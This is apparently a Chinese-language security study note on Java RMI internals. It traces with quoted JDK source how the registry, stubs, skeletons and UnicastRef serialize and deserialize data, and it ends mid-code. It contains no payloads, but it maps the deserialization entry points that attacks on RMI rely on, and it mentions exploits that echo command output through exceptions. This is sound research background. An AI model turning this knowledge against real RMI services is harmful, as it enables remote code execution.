java安全-RMI

RMI流程

流程概述

RMI的架构分析,其实RMI也可以通过分层的思想来理解。这里有一张小阳的图,可以参考一下。

RMI的底层通信是使用JRMP协议来实现的

RMI流程图

首先引用Su18师傅的一张RMI时序图

  1. 服务器端创建远程对象 Hello hello = new HelloImpl();
  2. 注册中心创建 LocateRegistry.createRegistry(PORT);
  3. 向注册中心绑定远程对象 Naming.bind(RMI_NAME, hello);
  4. 客户端访问注册中心查找远程对象 (Hello) Naming.lookup(RMI_NAME)
  5. 注册中心向客户端返回远程对象存根
  6. 客户端调用远程对象服务 rt.hello()
  7. 客户端存根(Stub)和服务器骨架(Skel)通信
  8. 服务器端骨架(Skel)调用服务
  9. 服务器端骨架(Skel)结果返回于客户端存根(Stub)
  10. 客户端存根(Stub)结果返回于客户端

几个重要的类

通信问题:RMI我们其实除了了解序列化和反序列化的点还要了解通信方面,主要的几个通信:

  • RegistryImpl_Stub--RegistryImpl_Skel

  • DGCImpl_Stub--DGCImpl_Skel

  • 动态代理对象--TCPTransprt#listen-UnicastServerRef#dispatch

接着往底层走:

RegistryImpl_Stub,DGCImpl_Stub:继承于RemoteStub,RemoteStub又继承RemoteObject,RemoteObject里面有一个属性是RemoteRef,这个属性通常存放UnicastRef实例,UnicastRef#invoke方法通常完成建立连接,执行调用,Stub并读取结果并反序列化

RemoteObjectInvocationHandler#invoke会调用到UnicastRef的invoke方法,总结一下就是下面这些都会在序列化和反序列化我们那些内容时调用UnicastRef#invoke

  1. RegistryImpl_Stub中的list/lookup/bind/rebind/unbind方法
  2. RemoteObjectInvocationHandler#invokeRemoteMethod
  3. DGCImpl_Stub中的dirty/clean

而且进入它们的方法中可以看到逻辑很相似

UnicastRef#newCall

ObjectInputStream#writeObject

UnicastRef#invoke

有几个重要的类我们要明确一下它们的作用

sun.rmi.transport.LiveRef:处理网络通信的类,其中的LiveRef#exportObject(Target target)方法会触发sun.rmi.transport.tcp.TCPEndpoint#exportObject开启网络通信

public void exportObject(Target target) throws RemoteException {
    ep.exportObject(target);
}

sun.rmi.server.UnicastRef:封装了LiveRef。重点在它的invoke方法的逻辑是建立连接,执行调用,Stub并读取结果并反序列化

public Object invoke(Remote obj,Method method,Object[] params,long opnum)
    throws Exception
{
    if (clientRefLog.isLoggable(Log.VERBOSE)) {
        clientRefLog.log(Log.VERBOSE, "method: " + method);
    }

    if (clientCallLog.isLoggable(Log.VERBOSE)) {
        logClientCall(obj, method);
    }

    Connection conn = ref.getChannel().newConnection();
    RemoteCall call = null;
    boolean reuse = true;
    boolean alreadyFreed = false;

    try {
        if (clientRefLog.isLoggable(Log.VERBOSE)) {
            clientRefLog.log(Log.VERBOSE, "opnum = " + opnum);
        }

        // create call context
        call = new StreamRemoteCall(conn, ref.getObjID(), -1, opnum);  //建立连接,ref就是LiveRef

        // marshal parameters
        try {
            ObjectOutput out = call.getOutputStream();
            marshalCustomCallData(out);
            Class<?>[] types = method.getParameterTypes();
            for (int i = 0; i < types.length; i++) {
                marshalValue(types[i], params[i], out);
            }
        } catch (IOException e) {
            clientRefLog.log(Log.BRIEF,
                             "IOException marshalling arguments: ", e);
            throw new MarshalException("error marshalling arguments", e);
        }
        call.executeCall();  //执行调用

        try {
            Class<?> rtype = method.getReturnType();
            if (rtype == void.class)
                return null;
            ObjectInput in = call.getInputStream();
            Object returnValue = unmarshalValue(rtype, in); //读取结果并反序列化
            alreadyFreed = true;

            /* if we got to this point, reuse must have been true. */
            clientRefLog.log(Log.BRIEF, "free connection (reuse = true)");

            /* Free the call's connection early. */
            ref.getChannel().free(conn, true);

            return returnValue;

sun.rmi.server.UnicastServerRef:是UnicastRef的子类,主要是UnicastServerRef#exportObject(Remote impl, Object data,boolean permanent)方法。主要是俩部分Util.createProxy(implClass, getClientRef(), forceStubUse)和创建Target和LiveRef#export()

public Remote exportObject(Remote impl, Object data,
                           boolean permanent)
    throws RemoteException
{
    Class<?> implClass = impl.getClass();
    Remote stub;

    try {
        stub = Util.createProxy(implClass, getClientRef(), forceStubUse);
    } catch (IllegalArgumentException e) {
        throw new ExportException(
            "remote object implements illegal remote interface", e);
    }
    if (stub instanceof RemoteStub) {
        setSkeleton(impl);
    }

    Target target =
        new Target(impl, this, stub, ref.getObjID(), permanent);
    ref.exportObject(target);
    hashToMethod_Map = hashToMethod_Maps.get(implClass);
    return stub;
}

sun.rmi.registry.RegistryImpl_Stub:继承了RemoteStub类,实现了Registry接口。这个类实现了 bind/list/lookup/rebind/unbind 等 Registry定义的方法,通过序列化和反序列化来实现的。

public void rebind(String var1, Remote var2) throws AccessException, RemoteException {
    try {
        RemoteCall var3 = super.ref.newCall(this, operations, 3, 4905912898345647071L);

        try {
            ObjectOutput var4 = var3.getOutputStream();
            var4.writeObject(var1);
            var4.writeObject(var2);
        } catch (IOException var5) {
            throw new MarshalException("error marshalling arguments", var5);
        }

        super.ref.invoke(var3);
        super.ref.done(var3);
    } catch (RuntimeException var6) {
        throw var6;
    } catch (RemoteException var7) {
        throw var7;
    } catch (Exception var8) {
        throw new UnexpectedException("undeclared checked exception", var8);
    }
}

sun.rmi.registry.RegistryImpl_Skel:实现Skeleton接口,该类提供了dispatch方法来分发具体的操作

public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
    if (var4 != 4905912898345647071L) {
        throw new SkeletonMismatchException("interface hash mismatch");
    } else {
        RegistryImpl var6 = (RegistryImpl)var1;
        String var7;
        Remote var8;
        ObjectInput var10;
        ObjectInput var11;
        switch(var3) {
            case 0:
                try {
                    var11 = var2.getInputStream();
                    var7 = (String)var11.readObject();
                    var8 = (Remote)var11.readObject();
                } catch (IOException var94) {
                    throw new UnmarshalException("error unmarshalling arguments", var94);
                } catch (ClassNotFoundException var95) {
                    throw new UnmarshalException("error unmarshalling arguments", var95);
                } finally {
                    var2.releaseInputStream();
                }

                var6.bind(var7, var8);

                try {
                    var2.getResultStream(true);
                    break;
                } catch (IOException var93) {
                    throw new MarshalException("error marshalling return", var93);
                }
            case 1:
                var2.releaseInputStream();
                String[] var97 = var6.list();

                try {
                    ObjectOutput var98 = var2.getResultStream(true);
                    var98.writeObject(var97);
                    break;
                } catch (IOException var92) {
                    throw new MarshalException("error marshalling return", var92);
                }
            case 2:
                try {
                    var10 = var2.getInputStream();
                    var7 = (String)var10.readObject();
                } catch (IOException var89) {
                    throw new UnmarshalException("error unmarshalling arguments", var89);
                } catch (ClassNotFoundException var90) {
                    throw new UnmarshalException("error unmarshalling arguments", var90);
                } finally {
                    var2.releaseInputStream();
                }

                var8 = var6.lookup(var7);

                try {
                    ObjectOutput var9 = var2.getResultStream(true);
                    var9.writeObject(var8);
                    break;
                } catch (IOException var88) {
                    throw new MarshalException("error marshalling return", var88);
                }
            case 3:
                try {
                    var11 = var2.getInputStream();
                    var7 = (String)var11.readObject();
                    var8 = (Remote)var11.readObject();
                } catch (IOException var85) {
                    throw new UnmarshalException("error unmarshalling arguments", var85);
                } catch (ClassNotFoundException var86) {
                    throw new UnmarshalException("error unmarshalling arguments", var86);
                } finally {
                    var2.releaseInputStream();
                }

                var6.rebind(var7, var8);

                try {
                    var2.getResultStream(true);
                    break;
                } catch (IOException var84) {
                    throw new MarshalException("error marshalling return", var84);
                }
            case 4:
                try {
                    var10 = var2.getInputStream();
                    var7 = (String)var10.readObject();
                } catch (IOException var81) {
                    throw new UnmarshalException("error unmarshalling arguments", var81);
                } catch (ClassNotFoundException var82) {
                    throw new UnmarshalException("error unmarshalling arguments", var82);
                } finally {
                    var2.releaseInputStream();
                }
                var6.unbind(var7);

                try {
                    var2.getResultStream(true);
                    break;
                } catch (IOException var80) {
                    throw new MarshalException("error marshalling return", var80);
                }
            default:
                throw new UnmarshalException("invalid method number");
        }
    }
}

服务端创建远程对象

这个过程对应我们实例Demo中的:Hello hello = new HelloImpl();代码

因为远程服务HelloImpl继承了java.rmi.server.UnicastRemoteObject,所以会调用其构造方法,进而调用java.rmi.server.UnicastRemoteObject#exportObject(Remote obj, int port)并创建了UnicastServerRef实例

public static Remote exportObject(Remote obj, int port)
    throws RemoteException
{
    return exportObject(obj, new UnicastServerRef(port));
}

接着调用UnicastRemoteObject#exportObject(Remote obj, UnicastServerRef sref)触发UnicastServerRef#exportObject(Remote impl, Object data,boolean permanent)

private static Remote exportObject(Remote obj, UnicastServerRef sref)
    throws RemoteException
{
    // if obj extends UnicastRemoteObject, set its ref.
    if (obj instanceof UnicastRemoteObject) {
        ((UnicastRemoteObject) obj).ref = sref;
    }
    return sref.exportObject(obj, null, false);
}

UnicastServerRef#exportObject(Remote impl, Object data,boolean permanent)方法中,在该方法中我们关注俩个重点,一个是 Util.createProxy(implClass, getClientRef(), forceStubUse);另外一个是Target target=new Target(impl, this, stub,ref.getObjID(), permanent);ref.exportObject(target);

public Remote exportObject(Remote impl, Object data,
                           boolean permanent)
    throws RemoteException
{
    Class<?> implClass = impl.getClass();
    Remote stub;

    try {
        stub = Util.createProxy(implClass, getClientRef(), forceStubUse); //getClientRef()创建UnicastRef实例
    } catch (IllegalArgumentException e) {
        throw new ExportException(
            "remote object implements illegal remote interface", e);
    }
    if (stub instanceof RemoteStub) {
        setSkeleton(impl);
    }

    Target target =
        new Target(impl, this, stub, ref.getObjID(), permanent);
    ref.exportObject(target);
    hashToMethod_Map = hashToMethod_Maps.get(implClass);
    return stub;
}
  • 首先是第一部分:进入Util.createProxy(implClass, getClientRef(), forceStubUse)方法里面将使用RemoteObjectInvocationHandler按照远程服务实习类的接口interface Hello extends Remote创建动态代理对象
    public static Remote createProxy(Class<?> implClass,
                                     RemoteRef clientRef,
                                     boolean forceStubUse)
        throws StubNotFoundException
    {
        Class<?> remoteClass;

        try {
            remoteClass = getRemoteClass(implClass);
        } catch (ClassNotFoundException ex ) {
            throw new StubNotFoundException(
                "object does not implement a remote interface: " +
                implClass.getName());
        }

        if (forceStubUse ||
            !(ignoreStubClasses || !stubClassExists(remoteClass)))
        {
            return createStub(remoteClass, clientRef);
        }

        final ClassLoader loader = implClass.getClassLoader();
        final Class<?>[] interfaces = getRemoteInterfaces(implClass);
        final InvocationHandler handler =
            new RemoteObjectInvocationHandler(clientRef); //创建远程代理RemoteObjectInvocationHandler

        /* REMIND: private remote interfaces? */

        try {
            return AccessController.doPrivileged(new PrivilegedAction<Remote>() {
                public Remote run() { //返回远程对象代理
                    return (Remote) Proxy.newProxyInstance(loader,
                                                           interfaces,
                                                           handler);
                }});
        } catch (IllegalArgumentException e) {
            throw new StubNotFoundException("unable to create proxy", e);
        }
    }

RemoteObjectInvocationHandler远程动态代理对象:interface Hello 它到底有什么用?

因为是动态代理所以我们要重点关注invoke方法,这里我们只关注重点部分

RemoteObjectInvocationHandler#invoke(Object proxy, Method method, Object[] args)
    -RemoteObjectInvocationHandler#invokeRemoteMethod(Object proxy,Method method,Object[] args)
        -UnicastRef#invoke(Remote obj,Method method,Object[] params,long opnum)

UnicastRef的invoke方法是一个建立连接,执行调用,并读取结果并反序列化的过程。UnicastRef包含属性ref(LiveRef),LiveRef类中的Endpoint、Channel封装了与网络通信相关的方法

public Object invoke(Remote obj,Method method,Object[] params,long opnum)
    throws Exception
{
    if (clientRefLog.isLoggable(Log.VERBOSE)) {
        clientRefLog.log(Log.VERBOSE, "method: " + method);
    }

    if (clientCallLog.isLoggable(Log.VERBOSE)) {
        logClientCall(obj, method);
    }

    Connection conn = ref.getChannel().newConnection();
    RemoteCall call = null;
    boolean reuse = true;
    boolean alreadyFreed = false;

    try {
        if (clientRefLog.isLoggable(Log.VERBOSE)) {
            clientRefLog.log(Log.VERBOSE, "opnum = " + opnum);
        }

        // create call context
        call = new StreamRemoteCall(conn, ref.getObjID(), -1, opnum);  //建立连接,ref就是LiveRef

        // marshal parameters
        try {
            ObjectOutput out = call.getOutputStream();
            marshalCustomCallData(out);
            Class<?>[] types = method.getParameterTypes();
            for (int i = 0; i < types.length; i++) {
                marshalValue(types[i], params[i], out);
            }
        } catch (IOException e) {
            clientRefLog.log(Log.BRIEF,
                             "IOException marshalling arguments: ", e);
            throw new MarshalException("error marshalling arguments", e);
        }
        call.executeCall();  //执行调用

        try {
            Class<?> rtype = method.getReturnType();
            if (rtype == void.class)
                return null;
            ObjectInput in = call.getInputStream();
            Object returnValue = unmarshalValue(rtype, in); //读取结果并反序列化
            alreadyFreed = true;

            /* if we got to this point, reuse must have been true. */
            clientRefLog.log(Log.BRIEF, "free connection (reuse = true)");

            /* Free the call's connection early. */
            ref.getChannel().free(conn, true);

            return returnValue;

sun.rmi.server.UnicastRef#unmarshalValue(Class<?> type, ObjectInput in)中最终执行了反序列化

    protected static Object unmarshalValue(Class<?> type, ObjectInput in)
        throws IOException, ClassNotFoundException
    {
        if (type.isPrimitive()) {
            if (type == int.class) {
                return Integer.valueOf(in.readInt());
            } else if (type == boolean.class) {
                return Boolean.valueOf(in.readBoolean());
            } else if (type == byte.class) {
                return Byte.valueOf(in.readByte());
            } else if (type == char.class) {
                return Character.valueOf(in.readChar());
            } else if (type == short.class) {
                return Short.valueOf(in.readShort());
            } else if (type == long.class) {
                return Long.valueOf(in.readLong());
            } else if (type == float.class) {
                return Float.valueOf(in.readFloat());
            } else if (type == double.class) {
                return Double.valueOf(in.readDouble());
            } else {
                throw new Error("Unrecognized primitive type: " + type);
            }
        } else {
            return in.readObject();
        }
    }

现在所创建的远程调用接口hello的动态代理就是,客户端访问注册中心Registry拿到的远程动态代理对象

  • 分析第二部分:Target的封装和LiveRef#export()的调用。UnicastRemoteObject#exportObject(Remote obj, UnicastServerRef sref)
public Remote exportObject(Remote impl, Object data,boolean permanent)
    throws RemoteException
 ..........

    Target target =
        new Target(impl, this, stub, ref.getObjID(), permanent);
    ref.exportObject(target);
    hashToMethod_Map = hashToMethod_Maps.get(implClass);
    return stub;
}

sun.rmi.transport.Target封装了ref(LiveRef)和我们上一部分创建好的远程动态代理对象.

然后就是LiveRef#exportObject()开启本地端口监听网络通信

public void exportObject(Target target) throws RemoteException {
    ep.exportObject(target);
}

现在我们来总结一下服务器端创建远程对象Hello hello = new HelloImpl(); 到底做了什么以及有什么作用?

俩件事:

  1. 是为接口创建远程动态代理类 RemoteObjectInvocationHandler

  2. 本地开启随机端口监听 Target LiveRef

new HelloImpl()其实返回的是一个远程动态代理

远程动态代理类将来会由注册中心发送于客户端,客户端利用其来实现和服务器端的远程方法调用。由于RemoteObjectInvocationHandlerTarget都封装了同一个LiveRef,所以到时候客户端可以很清楚的找到Server端对应的远程服务接口

注册中心创建

注册中心创建对应Demo代码中的:LocateRegistry.createRegistry(PORT);

java.rmi.registry.LocateRegistry#createRegistry(PORT)一直定位到sun.rmi.registry.RegistryLmpl#RegistryImpl(int port)

这里主要是俩部分内容:1.创建LiveRef(端口1099);2.设置UnicastServerRef

public RegistryImpl(int port)
    throws RemoteException
{
    if (port == Registry.REGISTRY_PORT && System.getSecurityManager() != null) {
        // grant permission for default port only.
        try {
            AccessController.doPrivileged(new PrivilegedExceptionAction<Void>() {
                public Void run() throws RemoteException {
                    LiveRef lref = new LiveRef(id, port); //创建LiveRef
                    setup(new UnicastServerRef(lref));  //设置UnicastServerRef
                    return null;
                }
            }, null, new SocketPermission("localhost:"+port, "listen,accept"));
        } catch (PrivilegedActionException pae) {
            throw (RemoteException)pae.getException();
        }
    } else {
        LiveRef lref = new LiveRef(id, port); //创建LiveRef
        setup(new UnicastServerRef(lref));  //设置UnicastServerRef
    }
}

UnicastServerRef里面封装了之前的LiveRef,setup(UnicastServerRef uref)方法中调用了UnicastServerRef#exportObject(this, null, true)

private void setup(UnicastServerRef uref)
    throws RemoteException
{
    /* Server ref must be created and assigned before remote
         * object 'this' can be exported.
         */
    ref = uref;
    uref.exportObject(this, null, true);
}

UnicastServerRef#exportObject(this, null, true),与上次不同这一次我们需要关注三部分, Util.createProxy(implClass, getClientRef(), forceStubUse)setSkeleton(impl)还有一个是Target target=new Target(impl, this, stub,ref.getObjID(), permanent);ref.exportObject(target);

public Remote exportObject(Remote impl, Object data,
                           boolean permanent)
    throws RemoteException
{
    Class<?> implClass = impl.getClass();
    Remote stub;

    try {
        stub = Util.createProxy(implClass, getClientRef(), forceStubUse);  //getClientRef()创建UnicastRef实例
    } catch (IllegalArgumentException e) {
        throw new ExportException(
            "remote object implements illegal remote interface", e);
    }
    if (stub instanceof RemoteStub) {
        setSkeleton(impl);
    }

    Target target =
        new Target(impl, this, stub, ref.getObjID(), permanent);
    ref.exportObject(target);
    hashToMethod_Map = hashToMethod_Maps.get(implClass);
    return stub;
}
  • Util.createProxy(RegistryImpl.class, ref, false)。这里应该是比较熟悉的因为我们在服务端创建远程对象中就进入过这一步,但是因为implClass(Registrylmpl.class)等参数的不同所以处理会逻辑不同,我们会进入return createStub(remoteClass, clientRef)逻辑

简单说一下if (forceStubUse || !(ignoreStubClasses || !stubClassExists(remoteClass)))中的

stubClassExists(remoteClass)会判断remoteClass在这里是Registrylmpl.class是否存在本地有 _Stub 的类

public static Remote createProxy(Class<?> implClass,RemoteRef clientRef,boolean forceStubUse)
    throws StubNotFoundException
{
    Class<?> remoteClass;
    try {
        remoteClass = getRemoteClass(implClass);
    } catch (ClassNotFoundException ex ) {
        throw new StubNotFoundException(
            "object does not implement a remote interface: " +
            implClass.getName());
    }

    if (forceStubUse ||
        !(ignoreStubClasses || !stubClassExists(remoteClass)))
    {
        return createStub(remoteClass, clientRef);
    }

    final ClassLoader loader = implClass.getClassLoader();
    final Class<?>[] interfaces = getRemoteInterfaces(implClass);
    final InvocationHandler handler =
        new RemoteObjectInvocationHandler(clientRef);

    /* REMIND: private remote interfaces? */

    try {
        return AccessController.doPrivileged(new PrivilegedAction<Remote>() {
            public Remote run() {
                return (Remote) Proxy.newProxyInstance(loader,
                                                       interfaces,
                                                       handler);
            }});
    } catch (IllegalArgumentException e) {
        throw new StubNotFoundException("unable to create proxy", e);
    }
}

sun.rmi.server.UtilcreateStub(Class<?> remoteClass, RemoteRef ref),这里会在我们的Registrylmpl中加上_Stub,然后通过forNamre获取该类对象并且实例化出Registrylmpl_Stub对象,该对象中封装了我们之前创建的UnicastRef实例

    private static RemoteStub createStub(Class<?> remoteClass, RemoteRef ref)
        throws StubNotFoundException
    {
        String stubname = remoteClass.getName() + "_Stub";

        /* Make sure to use the local stub loader for the stub classes.
         * When loaded by the local loader the load path can be
         * propagated to remote clients, by the MarshalOutputStream/InStream
         * pickle methods
         */
        try {
            Class<?> stubcl =
                Class.forName(stubname, false, remoteClass.getClassLoader());
            Constructor<?> cons = stubcl.getConstructor(stubConsParamTypes);
            return (RemoteStub) cons.newInstance(new Object[] { ref });

        } catch (ClassNotFoundException e) {
            throw new StubNotFoundException(
                "Stub class not found: " + stubname, e);
        } catch (NoSuchMethodException e) {
            throw new StubNotFoundException(
                "Stub class missing constructor: " + stubname, e);
        } catch (InstantiationException e) {
            throw new StubNotFoundException(
                "Can't create instance of stub class: " + stubname, e);
        } catch (IllegalAccessException e) {
            throw new StubNotFoundException(
                "Stub class constructor not public: " + stubname, e);
        } catch (InvocationTargetException e) {
            throw new StubNotFoundException(
                "Exception creating instance of stub class: " + stubname, e);
        } catch (ClassCastException e) {
            throw new StubNotFoundException(
                "Stub class not instance of RemoteStub: " + stubname, e);
        }
    }
  • if (stub instanceof RemoteStub) {setSkeleton(impl);会进入setSkeleton()方法中进而走进createSkeleton(Remote object)

实例化出Registrylmpl_Skel对象

    static Skeleton createSkeleton(Remote object)
        throws SkeletonNotFoundException
    {
        Class<?> cl;
        try {
            cl = getRemoteClass(object.getClass());
        } catch (ClassNotFoundException ex ) {
            throw new SkeletonNotFoundException(
                "object does not implement a remote interface: " +
                object.getClass().getName());
        }
        // now try to load the skeleton based ont he name of the class
        String skelname = cl.getName() + "_Skel";
        try {
            Class<?> skelcl = Class.forName(skelname, false, cl.getClassLoader());

            return (Skeleton)skelcl.newInstance();
     .......
    }
  • 分析第三部分:Target的封装和LiveRef#export()的调用。UnicastRemoteObject#exportObject(Remote obj, UnicastServerRef sref)
public Remote exportObject(Remote impl, Object data,boolean permanent)
    throws RemoteException
 ..........

    Target target =
        new Target(impl, this, stub, ref.getObjID(), permanent);
    ref.exportObject(target);
    hashToMethod_Map = hashToMethod_Maps.get(implClass);
    return stub;
}

sun.rmi.transport.Target封装了ref(LiveRef)和我们上一部分创建好的远程动态代理对象.

然后就是LiveRef#exportObject()开启本地端口监听网络通信,这次是我们规定好的注册中心端口,通常就是1099

总结一下创建注册中心LocateRegistry.createRegistry(PORT);做了哪些事以及有什么作用

  1. LocateRegistry.createRegistry(PORT)创建出的是Registrylmpl实例
  2. 创建RegistryImpl_Stub
  3. 创建RegistryImpl_Skel
  4. 本地开启1099端口监听

注册中心绑定远程对象

注册中心绑定远程对象对应实例代码中的Naming.bind(RMI_NAME, hello);

主要分为俩部分getRegistry(parsed)registry.bind(parsed.name, obj)

public static void bind(String name, Remote obj)
    throws AlreadyBoundException,
java.net.MalformedURLException,
RemoteException
{
    ParsedNamingURL parsed = parseURL(name);
    Registry registry = getRegistry(parsed);

    if (obj == null)
        throw new NullPointerException("cannot bind to null");

    registry.bind(parsed.name, obj);
}
  • java.rmi.Naming#getRegistry(ParsedNamingURL parsed):获得注册中心的实例对象
  • sun.rmi.registry.Registrylmpl_Stub#bind(String name, Remote obj)
    public void bind(String var1, Remote var2) throws AccessException, AlreadyBoundException, RemoteException {
        try {
            RemoteCall var3 = super.ref.newCall(this, operations, 0, 4905912898345647071L);

            try {
                ObjectOutput var4 = var3.getOutputStream();
                var4.writeObject(var1);
                var4.writeObject(var2);
            } catch (IOException var5) {
                throw new MarshalException("error marshalling arguments", var5);
            }

            super.ref.invoke(var3);
            super.ref.done(var3);
        } catch (RuntimeException var6) {
            throw var6;
        } catch (RemoteException var7) {
            throw var7;
        } catch (AlreadyBoundException var8) {
            throw var8;
        } catch (Exception var9) {
            throw new UnexpectedException("undeclared checked exception", var9);
        }
    }

客户端获取注册中心

对应Demo代码中的LocateRegistry.getRegistry("127.0.0.1", PORT)

java.rmi.registry.LocateRegistry#getRegistry(String host, int port)

调用到java.rmi.registry.LocateRegistry#getRegistry(String host, int port,RMIClientSocketFactory csf)

涉及俩部分内容

    public static Registry getRegistry(String host, int port,
                                       RMIClientSocketFactory csf)
        throws RemoteException
    {
        Registry registry = null;

        if (port <= 0)
            port = Registry.REGISTRY_PORT;

        if (host == null || host.length() == 0) {
            try {
                host = java.net.InetAddress.getLocalHost().getHostAddress();
            } catch (Exception e) {
                // If that failed, at least try "" (localhost) anyway...
                host = "";
            }
        }
        LiveRef liveRef =
            new LiveRef(new ObjID(ObjID.REGISTRY_ID),
                        new TCPEndpoint(host, port, csf, null),
                        false);
        RemoteRef ref =
            (csf == null) ? new UnicastRef(liveRef) : new UnicastRef2(liveRef);

        return (Registry) Util.createProxy(RegistryImpl.class, ref, false);
    }
  • 第一部分:new LiveRef(new ObjID(ObjID.REGISTRY_ID),new TCPEndpoint(host, port, csf, null),false);创建一个LiveRef实例通信远程注册中心,这里的ip是127.0.0.1,port是1099

  • 第二部分:创建UnicastRef封装了LiveRef,new UnicastRef(liveRef)(Registry) Util.createProxy(RegistryImpl.class, ref, false)。重点在createStub(remoteClass, clientRef)创建了Registrylmpl_Stub封装LiveRef

public static Remote createProxy(Class<?> implClass,
                                 RemoteRef clientRef,
                                 boolean forceStubUse)
    throws StubNotFoundException
{
    Class<?> remoteClass;

    try {
        remoteClass = getRemoteClass(implClass);
    } catch (ClassNotFoundException ex ) {
        throw new StubNotFoundException(
            "object does not implement a remote interface: " +
            implClass.getName());
    }

    if (forceStubUse ||
        !(ignoreStubClasses || !stubClassExists(remoteClass)))
    {
        return createStub(remoteClass, clientRef);
    }

    final ClassLoader loader = implClass.getClassLoader();
    final Class<?>[] interfaces = getRemoteInterfaces(implClass);
    final InvocationHandler handler =
        new RemoteObjectInvocationHandler(clientRef);

    /* REMIND: private remote interfaces? */

    try {
        return AccessController.doPrivileged(new PrivilegedAction<Remote>() {
            public Remote run() {
                return (Remote) Proxy.newProxyInstance(loader,
                                                       interfaces,
                                                       handler);
            }});
    } catch (IllegalArgumentException e) {
        throw new StubNotFoundException("unable to create proxy", e);
    }
}

总结一下:客户端创建了Registrylmpl_Stub来访问注册中心,所以说我们代码中的LocateRegistry.getRegistry("127.0.0.1", PORT)返回得对象其实是Registrylmpl_Stub

根据name获取远程调用对象

这里我们要关注客户端和注册中心的操作

客户端 lookup

这一部分对应代码中的Hello rt = (Hello) Naming.lookup(RMI_NAME) 获取的注册中心Registry_Stub,然后调用lookup方法

public static Remote lookup(String name)
    throws NotBoundException,
java.net.MalformedURLException,
RemoteException
{
    ParsedNamingURL parsed = parseURL(name);
    Registry registry = getRegistry(parsed); //获取注册中心Registry_Stub

    if (parsed.name == null)
        return registry;
    return registry.lookup(parsed.name); //Registry_Stub#lookup
}

sun.rmi.registry.Registry_Stub#lookup(String var1)

public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
    try {
        RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L); //UnicastRef的newCall开启Socket

        try {
            ObjectOutput var3 = var2.getOutputStream();
            var3.writeObject(var1);  //序列化name并发送于注册中心
        } catch (IOException var18) {
            throw new MarshalException("error marshalling arguments", var18);
        }

        super.ref.invoke(var2);  //UnicastRef 的invoke

        Remote var23;
        try {
            ObjectInput var6 = var2.getInputStream();
            var23 = (Remote)var6.readObject();  //反序列化得到远程动态代理对象
        } catch (IOException var15) {
            throw new UnmarshalException("error unmarshalling return", var15);
        } catch (ClassNotFoundException var16) {
            throw new UnmarshalException("error unmarshalling return", var16);
        } finally {
            super.ref.done(var2);
        }

        return var23;
    } catch (RuntimeException var19) {
        throw var19;
    } catch (RemoteException var20) {
        throw var20;
    } catch (NotBoundException var21) {
        throw var21;
    } catch (Exception var22) {
        throw new UnexpectedException("undeclared checked exception", var22);
    }
}
  • UnicastRef的newCall开启Socket
public RemoteCall newCall(RemoteObject var1, Operation[] var2, int var3, long var4) throws RemoteException {
    clientRefLog.log(Log.BRIEF, "get connection");
    Connection var6 = this.ref.getChannel().newConnection(); //LiveRef开启Socket通信

    try {
        clientRefLog.log(Log.VERBOSE, "create call context");
        if (clientCallLog.isLoggable(Log.VERBOSE)) {
            this.logClientCall(var1, var2[var3]);
        }

        StreamRemoteCall var7 = new StreamRemoteCall(var6, this.ref.getObjID(), var3, var4); //Socket通信传输了一些东西

        try {
            this.marshalCustomCallData(var7.getOutputStream());
        } catch (IOException var9) {
            throw new MarshalException("error marshaling custom call data");
        }

        return var7;
    } catch (RemoteException var10) {
        this.ref.getChannel().free(var6, false);
        throw var10;
    }
}
  • 将name进行序列化,对应实例中的RMI_NAME。并发送于注册中心
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);  //序列化name并发送于注册中心
  • super.ref.invoke(var2)其实是调用UnicastRef#invoke
public void invoke(RemoteCall var1) throws Exception {
    try {
        clientRefLog.log(Log.VERBOSE, "execute call");
        var1.executeCall();

sun.rmi.transport.StreamRemoteCall#executeCall()该⽅法就是前面往注册中心发送数据后的注册中心响应过来的数据,看到从响应数据中先读取了⼀个字节,先读取一个字节判断是否是81,然后⼜继续读取⼀个字节赋值给var

public void executeCall() throws Exception {
    DGCAckHandler var2 = null;

    byte var1;
    try {
        if (this.out != null) {
            var2 = this.out.getDGCAckHandler();
        }

        this.releaseOutputStream();
        DataInputStream var3 = new DataInputStream(this.conn.getInputStream());
        byte var4 = var3.readByte();
        if (var4 != 81) {  //先读取一个字节判断是否是81
            if (Transport.transportLog.isLoggable(Log.BRIEF)) {
                Transport.transportLog.log(Log.BRIEF, "transport return code invalid: " + var4);
            }

            throw new UnmarshalException("Transport return code invalid");
        }
        this.getInputStream();
        var1 = this.in.readByte(); //在读取一个字节
        this.in.readID();

下⾯是判断的switch-case语句判断var1的值,为1直接return,说明没问题,如果为2的话,会先对对象进⾏反序列化操作,然后判断是否为Exception类型(⽹上有关于带回显的攻击RMI服务的exp,它就是将执⾏完命令后的结果写到异常信息⾥,然后抛出该异常,这样在客户端就可以看到命令执⾏的结果 了,这时得到的var1的值就是2)

switch(var1) {
    case 1:
        return;
    case 2:
        Object var14;
        try {
            var14 = this.in.readObject();
        } catch (Exception var10) {
            throw new UnmarshalException("Error unmarshaling return", var10);
        }

        if (!(var14 instanceof Exception)) {
            throw new UnmarshalException("Return type not Exception");
        } else {
            this.exceptionReceivedFromServer((Exception)var14);
        }
    default:
        if (Transport.transportLog.isLoggable(Log.BRIEF)) {
            Transport.transportLog.log(Log.BRIEF, "return code invalid: " + var1);
        }

        throw new UnmarshalException("Return code invalid");
}
}
  • 如果var1是1的话,将会反序列化得到远程动态代理对象
Remote var23;
try {
    ObjectInput var6 = var2.getInputStream();
    var23 = (Remote)var6.readObject();  //反序列化得到远程动态代理对象

注册中心 dispatch

这里我们还需要关注注册中心的操作sun.rmi.registry.RegistryImpl_Skel#dispatch(Remote var1, RemoteCall var2, int var3, long var4),该方法里有很多switch-case语句,客户端调用的是lookup会走到case2。将会调用RegistryImpl#lookup方法

public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
    if (var4 != 4905912898345647071L) {
        throw new SkeletonMismatchException("interface hash mismatch");
    } else {
        RegistryImpl var6 = (RegistryImpl)var1;
        String var7;
        Remote var8;
        ObjectInput var10;
        ObjectInput var11;
        switch(var3) {
                .........
            case 2:
                try {
                    var10 = var2.getInputStream();
                    var7 = (String)var10.readObject();
                } catch (IOException var89) {
                    throw new UnmarshalException("error unmarshalling arguments", var89);
                } catch (ClassNotFoundException var90) {
                    throw new UnmarshalException("error unmarshalling arguments", var90);
                } finally {
                    var2.releaseInputStream();
                }

